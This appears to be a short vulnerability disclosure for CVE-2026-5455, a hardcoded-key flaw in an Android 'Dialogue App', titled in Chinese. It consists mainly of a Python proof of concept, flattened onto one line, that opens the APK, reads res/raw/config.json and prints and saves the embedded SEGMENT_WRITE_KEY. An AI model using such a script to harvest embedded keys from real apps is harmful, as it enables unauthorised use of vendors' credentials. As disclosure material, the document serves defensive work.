CVE-2026-5455 Dialogue App硬编码密钥漏洞

# PoC: Extract hardcoded key from APK import zipfile import json import sys # Path to the vulnerable APK file apk_path = 'DialogueApp_v4.3.2.apk' output_file = 'extracted_config.json' def extract_config(apk, output): try: # Open the APK file (which is a ZIP archive) with zipfile.ZipFile(apk, 'r') as z: # Check if the vulnerable file exists target_file = 'res/raw/config.json' if target_file in z.namelist(): print(f"[*] Found {target_file}") data = z.read(target_file) # Parse JSON to find the SEGMENT_WRITE_KEY config = json.loads(data) if 'SEGMENT_WRITE_KEY' in config: print(f"[+] Vulnerability Confirmed: SEGMENT_WRITE_KEY found!") print(f"[+] Key Value: {config['SEGMENT_WRITE_KEY']}") # Saving extracted data with open(output, 'w') as f: json.dump(config, f, indent=4) print(f"[*] Configuration saved to {output}") else: print("[-] SEGMENT_WRITE_KEY not found in config.") else: print(f"[-] File {target_file} not found in APK.") except FileNotFoundError: print(f"Error: {apk} not found.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": extract_config(apk_path, output_file)